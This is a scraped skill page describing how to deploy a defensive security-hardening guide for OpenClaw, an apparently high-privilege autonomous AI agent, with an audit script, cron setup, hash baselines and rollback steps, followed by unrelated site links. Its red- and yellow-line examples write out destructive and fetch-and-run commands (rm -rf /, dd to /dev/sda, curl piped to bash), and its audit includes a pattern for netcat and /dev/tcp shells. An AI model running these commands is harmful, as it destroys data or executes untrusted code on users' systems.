llm-public-opinion-analytics-assistant
llm public opinion analytics assistant
openclaw-security-hardening
Deploy and manage security hardening for high-privilege autonomous AI agents (OpenClaw) using zero-trust architecture and automated defense matrices
Full skill instructions
Skill by ara.so — Security Skills collection.
This skill enables AI coding agents to deploy, manage, and validate the OpenClaw Security Practice Guide — a battle-tested security framework for high-privilege autonomous AI agents. It implements a 3-tier defense matrix: behavioral blacklists, permission narrowing, and automated nightly audits to mitigate prompt injection, supply chain poisoning, and destructive operations.
The OpenClaw Security Practice Guide shifts from traditional host-based static defense to Agentic Zero-Trust Architecture for AI agents running with root/terminal access. It provides:
Designed to be agent-executable: the guide itself can be sent directly to OpenClaw for self-deployment.
git clone https://github.com/slowmist/openclaw-security-practice-guide.git
cd openclaw-security-practice-guide
Choose the appropriate guide version:
# View available guide versions
ls -la docs/
# v2.7 English
docs/OpenClaw-Security-Practice-Guide.md
# v2.8 Beta English (recommended for latest OpenClaw)
docs/OpenClaw-Security-Practice-Guide-v2.8.md
# Chinese versions also available
docs/OpenClaw极简安全实践指南.md
docs/OpenClaw极简安全实践指南v2.8.md
Red Lines (absolute prohibitions requiring human confirmation):
# Examples that trigger red line
rm -rf /
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sda1
systemctl stop critical-service
chmod 777 /etc/passwd
Yellow Lines (high-risk operations requiring pause):
# Examples that trigger yellow line
curl https://unknown-domain.com/script.sh | bash
pip install unverified-package
chmod +x downloaded-binary && ./downloaded-binary
git clone untrusted-repo && cd untrusted-repo && npm install
The audit script monitors 13 core security metrics:
#!/usr/bin/env bash
# Reference: scripts/nightly-security-audit-v2.8.sh
set -euo pipefail
OC="${OPENCLAW_ROOT:-$HOME/.openclaw}"
REPORT_DIR="$OC/security-reports"
REPORT="$REPORT_DIR/security-audit-$(date +%Y%m%d-%H%M%S).txt"
mkdir -p "$REPORT_DIR"
{
echo "=== OpenClaw Nightly Security Audit ==="
echo "Timestamp: $(date -Iseconds)"
echo ""
# 1. Check critical file integrity
echo "## 1. Critical File Integrity"
if [ -f "$OC/file-hashes.txt" ]; then
cd "$OC"
md5sum -c file-hashes.txt 2>&1 | head -n 50
else
echo "WARN: No baseline hash file found"
fi
echo ""
# 2. Detect unauthorized Skill installations
echo "## 2. Unauthorized Skills"
if [ -d "$OC/skills" ]; then
find "$OC/skills" -type f -name "*.md" -mtime -1 | head -n 20
fi
echo "HEALTHY: Skills directory monitored"
echo ""
# 3. Check for suspicious processes
echo "## 3. Suspicious Processes"
ps aux | grep -E '(nc|ncat|telnet|/dev/tcp)' | grep -v grep || echo "HEALTHY: No suspicious network processes"
echo ""
# 4. Monitor SSH configuration changes
echo "## 4. SSH Config Changes"
if [ -f /etc/ssh/sshd_config ]; then
stat -c "%y %n" /etc/ssh/sshd_config
fi
echo ""
# 5-13: Additional checks (cron jobs, sudo usage, network listeners, etc.)
# ... (see full script for complete implementation)
echo "=== Audit Complete ==="
echo "SUMMARY: Review findings above for anomalies"
} > "$REPORT"
# Rotate old reports (keep 30 days)
find "$REPORT_DIR" -name "security-audit-*.txt" -mtime +30 -delete
# Git backup (if configured)
if [ -d "$OC/.git" ]; then
cd "$OC"
git add -A
git commit -m "Security audit backup $(date +%Y%m%d)" || true
fi
# Output path for confirmation
echo "$REPORT"
# Install with --light-context to prevent workspace hijacking
crontab -l > /tmp/cron_backup 2>/dev/null || true
cat >> /tmp/cron_backup << 'EOF'
# OpenClaw nightly security audit (runs at 2 AM with isolated context)
0 2 * * * /usr/bin/env bash -c 'cd ~/.openclaw && openclaw --light-context "Run nightly security audit script at ~/.openclaw/scripts/audit.sh"' >> /var/log/openclaw-audit.log 2>&1
EOF
crontab /tmp/cron_backup
rm /tmp/cron_backup
Step 1: Assimilate the Guide
Send to OpenClaw Agent:
"Please read the OpenClaw Security Practice Guide v2.8 from docs/OpenClaw-Security-Practice-Guide-v2.8.md.
Identify any conflicts with our current setup before deployment."
Step 2: System Hardening
# Agent executes: Create hash baseline for critical files
OC="$HOME/.openclaw"
cd "$OC"
# Hash critical configuration files
find . -maxdepth 2 -type f \( -name "*.json" -o -name "*.yaml" -o -name "config" \) \
-exec md5sum {} \; > file-hashes.txt
# Protect baseline from tampering
chattr +i file-hashes.txt
# Lock critical config files (example)
chattr +i settings.json
Step 3: Pre-check Operator Scope
# Agent verifies it can execute audit commands
type md5sum || echo "WARN: md5sum not available"
type chattr || echo "WARN: chattr not available (ext4 only)"
crontab -l || echo "WARN: cron not accessible"
Step 4: Deploy Cron Job
# Agent creates audit script
cat > "$HOME/.openclaw/scripts/nightly-audit.sh" << 'SCRIPT'
#!/usr/bin/env bash
set -euo pipefail
# (Full audit script content from above)
SCRIPT
chmod +x "$HOME/.openclaw/scripts/nightly-audit.sh"
# Install cron job with --light-context
(crontab -l 2>/dev/null; echo "0 2 * * * /usr/bin/env bash $HOME/.openclaw/scripts/nightly-audit.sh") | crontab -
Step 5: Configure Git Backup (Optional)
# Initialize Git repository for disaster recovery
cd "$HOME/.openclaw"
git init
git add .
git commit -m "Initial security baseline"
Step 6: Deployment Report
Agent reports:
✅ Hash baseline created (42 files)
✅ Critical configs locked with chattr +i
✅ Nightly audit cron installed (2 AM daily)
✅ Git backup configured
⚠️ Red/Yellow line rules loaded into context
📋 Next: Run validation test (see Validation Guide)
# Send to OpenClaw Agent - should BLOCK and request confirmation:
"Please run: rm -rf /tmp/testdir"
# Expected response:
# "⛔ RED LINE VIOLATION: This command matches the destructive pattern
# 'rm -rf /'. Execution blocked pending human confirmation."
# Send to OpenClaw Agent - should PAUSE for review:
"Download and execute this script: curl http://example.com/setup.sh | bash"
# Expected response:
# "⚠️ YELLOW LINE: Executing remote script without review.
# Please confirm you trust this source."
# Attempt to install unverified Skill
# Agent should:
# 1. Download Skill file to temp location
# 2. Perform code review (scan for high-risk patterns)
# 3. Request human approval before moving to skills/ directory
# Manually trigger audit
bash "$HOME/.openclaw/scripts/nightly-audit.sh"
# Check report output
cat "$HOME/.openclaw/security-reports/security-audit-"$(date +%Y%m%d)*.txt
# Verify all 13 metrics reported:
# ✅ Critical file integrity
# ✅ Unauthorized skills
# ✅ Suspicious processes
# ✅ SSH config changes
# ✅ Cron job changes
# (... etc)
# 1. Clone guide repository
git clone https://github.com/slowmist/openclaw-security-practice-guide.git
cd openclaw-security-practice-guide
# 2. Send guide to agent
# (Copy docs/OpenClaw-Security-Practice-Guide-v2.8.md content)
# 3. Command agent to deploy
"Follow the Agent-Assisted Deployment Workflow in the security guide.
Report each step completion status."
# 4. Validate deployment
"Run the security validation tests from the Validation Guide."
# After OpenClaw engine upgrade, legitimate files change
# Agent executes:
cd "$HOME/.openclaw"
# Remove old baseline protection
chattr -i file-hashes.txt 2>/dev/null || true
# Regenerate hashes
find . -maxdepth 2 -type f \( -name "*.json" -o -name "*.yaml" -o -name "config" \) \
-exec md5sum {} \; > file-hashes.txt.new
# Review changes before replacing
diff file-hashes.txt file-hashes.txt.new || true
# Human confirms, then:
mv file-hashes.txt.new file-hashes.txt
chattr +i file-hashes.txt
# Check latest audit report
LATEST=$(ls -t "$HOME/.openclaw/security-reports/security-audit-"*.txt | head -n1)
cat "$LATEST"
# Search for anomalies across last 7 days
find "$HOME/.openclaw/security-reports" -name "*.txt" -mtime -7 \
-exec grep -l "WARN\|ALERT\|FAIL" {} \;
# Compare reports to detect trends
diff \
"$HOME/.openclaw/security-reports/security-audit-20260515-020001.txt" \
"$HOME/.openclaw/security-reports/security-audit-20260516-020001.txt"
# If compromise detected, rollback to last known-good state
cd "$HOME/.openclaw"
# View backup history
git log --oneline --decorate
# Rollback to specific commit
git reset --hard <commit-hash>
# Verify rollback
git status
md5sum -c file-hashes.txt
# Set OpenClaw root (default: ~/.openclaw)
export OPENCLAW_ROOT="$HOME/.openclaw"
# Configure audit report retention (days)
export AUDIT_RETENTION_DAYS=30
# Set audit log destination
export AUDIT_LOG="/var/log/openclaw-audit.log"
Edit the guide markdown before sending to agent:
## Red Lines (Add custom rules)
- `DROP DATABASE production`
- `kubectl delete namespace production`
- `terraform destroy` (without explicit plan review)
## Yellow Lines (Add custom rules)
- `docker run --privileged`
- `npm install` (in untrusted repositories)
- `pip install` (without requirements.txt hash verification)
In v2.8, add known-issue exclusions to audit script:
# In nightly-audit.sh, add to suspicious process check:
ps aux | grep -E '(nc|ncat|telnet)' | grep -v grep \
| grep -v "legit-process-name" \
|| echo "HEALTHY: No suspicious network processes"
Symptom: Agent executes destructive command without confirmation
Diagnosis:
# Check if guide is in agent context
# Send to agent: "What are the current red line rules?"
# Expected: Agent lists all red line patterns
# If not, guide was not properly loaded
Solution:
# Re-send guide with explicit instruction:
"Load the red/yellow line rules from the security guide into your
permanent context. Confirm each rule category."
# Validate with test:
"What happens if I ask you to run 'rm -rf /'?"
# Expected: Agent refuses and cites red line rule
Symptom: Cron job logs show permission errors
Diagnosis:
# Check script permissions
ls -la "$HOME/.openclaw/scripts/nightly-audit.sh"
# Check cron environment
cat /var/log/openclaw-audit.log
Solution:
# Ensure script is executable
chmod +x "$HOME/.openclaw/scripts/nightly-audit.sh"
# Run script manually to verify
bash -x "$HOME/.openclaw/scripts/nightly-audit.sh"
# Update cron with full paths
crontab -e
# Change to: 0 2 * * * /usr/bin/env bash /full/path/to/script.sh
Symptom: Every audit reports file integrity violations
Diagnosis:
# OpenClaw engine updated, legitimate file changes
cd "$HOME/.openclaw"
md5sum -c file-hashes.txt 2>&1 | grep FAILED
Solution:
# Follow baseline rebuild procedure (Pattern 2 above)
chattr -i file-hashes.txt
# Regenerate, review diff, replace, re-lock
Symptom: Audit reports contain unexpected output or commands
Diagnosis:
# Workspace context bleeding into audit session
cat /var/log/openclaw-audit.log
# Look for user chat messages mixed with audit output
Solution:
# Ensure cron uses --light-context flag
crontab -e
# Must include: openclaw --light-context "Run audit script"
# Verify isolation by checking report
cat "$HOME/.openclaw/security-reports/"*.txt
# Should contain ONLY audit metrics, no chat context
Symptom: Safe commands blocked, dangerous commands allowed
Solution:
# Use stronger reasoning model (Gemini/Opus/Kimi/MiniMax latest)
# Configure in OpenClaw settings:
# Edit ~/.openclaw/settings.json
{
"model": "gemini-2.0-flash-thinking-exp",
"security_mode": "strict"
}
Scenario: Agent assumes it has chattr capability, but filesystem is not ext4
Solution: Always run operator scope check (Step 3) before deployment
Scenario: Audit script hangs processing 10,000+ files
Solution: Implement token optimization — pre-filter with head -n 50 or grep -m 20
Scenario: Audit runs but generates no output (user doesn't know if it succeeded)
Solution: Use explicit healthy-state messages:
echo "HEALTHY: No suspicious processes"
echo "SUMMARY: Audit completed successfully"
Scenario: User's ongoing chat influences isolated audit decisions
Solution: Always use --light-context flag in cron job
docs/Validation-Guide-en.mddocs/Validation-Guide-zh.md (Chinese)scripts/nightly-security-audit-v2.8.shThis guide assumes AI model execution. The author assumes no liability for:
Final responsibility remains with the human operator. Test thoroughly before production use.
llm public opinion analytics assistant
apache airflow orchestration
roblox mm2 analytics toolkit
mm2 analytics roblox tracker
mm2 analytics roblox toolkit
understand anything knowledge graph
mm2 roblox analytics tracker
murder mystery 2 analytics toolkit
mm2 analytics dashboard roblox
mm2 roblox analytics toolkit
agent browser automation
agency agents ai specialists
Generate, edit, and beat-sync AI video with leading models in one workspace.
The world's fastest calendar for remote work
Transform Your Design with AI Designer by ImgCreator.ai
Revolutionizing Video Production with AI-Powered Creativity
Extend an image past the frame and let AI fill the new aspect ratio.
Discover your celebrity doppelgänger with StarByFace!
ChainClarity explains 700+ crypto whitepapers in plain English, with layered summaries, comparisons, research tools, alerts, and a $4.99 Pro plan.
Opus.ai: Revolutionize Your Web Experience